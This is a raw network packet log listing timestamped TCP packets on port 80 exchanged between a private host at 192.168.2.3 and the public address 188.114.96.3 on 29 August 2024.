Aug 29, 2024 12:14:39.723985910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724001884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724047899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724060059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724071026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724080086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724087954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724097967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724102974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724112988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724117041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724128008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724136114 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724153996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724159956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724168062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724181890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724188089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724195004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724212885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724244118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724273920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724286079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724298000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724312067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724318981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724335909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724360943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724376917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724389076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724416018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724431038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724452019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724464893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724476099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724488974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724493980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724508047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724530935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724574089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724585056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724596977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724608898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724611044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724623919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724625111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724639893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724653959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724675894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724749088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724761963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724772930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724780083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724786997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724798918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724811077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724809885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724832058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724847078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724899054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724912882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724925995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724931955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724940062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.724946022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.724968910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.725445032 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.795933008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.795952082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.795965910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.795979023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.795989990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.795990944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796011925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796011925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796025991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796037912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796040058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796052933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796061993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796065092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796078920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796087027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796091080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796102047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796103954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796117067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796130896 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796150923 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796322107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796334028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796339989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796345949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796351910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796356916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796364069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796406031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796441078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796475887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796696901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796731949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796760082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796771049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796792030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796808958 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796870947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796884060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796896935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796904087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796911001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.796921015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796941042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.796994925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797007084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797033072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797050953 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797058105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797070980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797081947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797086954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797095060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797111034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797126055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797135115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797147036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797157049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797173977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797184944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797193050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797200918 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797214985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797216892 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797235966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797251940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797259092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797271967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797293901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797307014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797318935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797331095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797352076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797369003 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797429085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797441959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797456026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797462940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797470093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797480106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797483921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797497988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797497988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797522068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797530890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797543049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797548056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797559977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797574997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797596931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797610044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797629118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797646046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797703981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797715902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797727108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797735929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797739983 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797754049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797755003 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797766924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797777891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797802925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797907114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797918081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797929049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797940969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.797945023 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797957897 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797983885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.797986984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.798005104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.798022985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.798041105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.798444986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.798489094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814776897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814794064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814814091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814835072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814846992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814860106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814874887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814877987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814898968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814901114 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814910889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814919949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814924002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814935923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814944983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814949036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814961910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814970970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814975023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.814985991 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.814996004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815009117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815013885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815021038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815032959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815042019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815052032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815057993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815064907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815078974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815085888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815115929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815119028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815131903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815150976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815175056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815176010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815190077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815201998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815210104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815220118 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815241098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815279007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815289974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815300941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815313101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815325022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815387964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815481901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815485954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815499067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815511942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815522909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815522909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815538883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815551043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815557957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815581083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815633059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815653086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815664053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815671921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815675020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815689087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815697908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815701008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815716982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815730095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815731049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815737009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815758944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815764904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815792084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815860033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815872908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815885067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815896988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815900087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815910101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815918922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815926075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815936089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815941095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.815954924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.815974951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.886991024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887025118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887037992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887070894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887083054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887095928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887106895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887120008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887132883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887154102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887193918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887207031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887219906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887232065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887247086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887267113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887307882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887320042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887337923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887341022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887367010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887440920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887453079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887464046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887475967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887489080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887489080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887504101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887504101 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887523890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887525082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887547970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887562990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887737989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887778044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887805939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887844086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887852907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887865067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887878895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.887887955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.887907028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888364077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888376951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888389111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888405085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888413906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888427973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888431072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888441086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888449907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888454914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888477087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888499975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888607025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888619900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888631105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888643026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888648987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888655901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888668060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888670921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.888679981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.888685942 CEST	62660	80	192.168.2.3	188.114.96.3
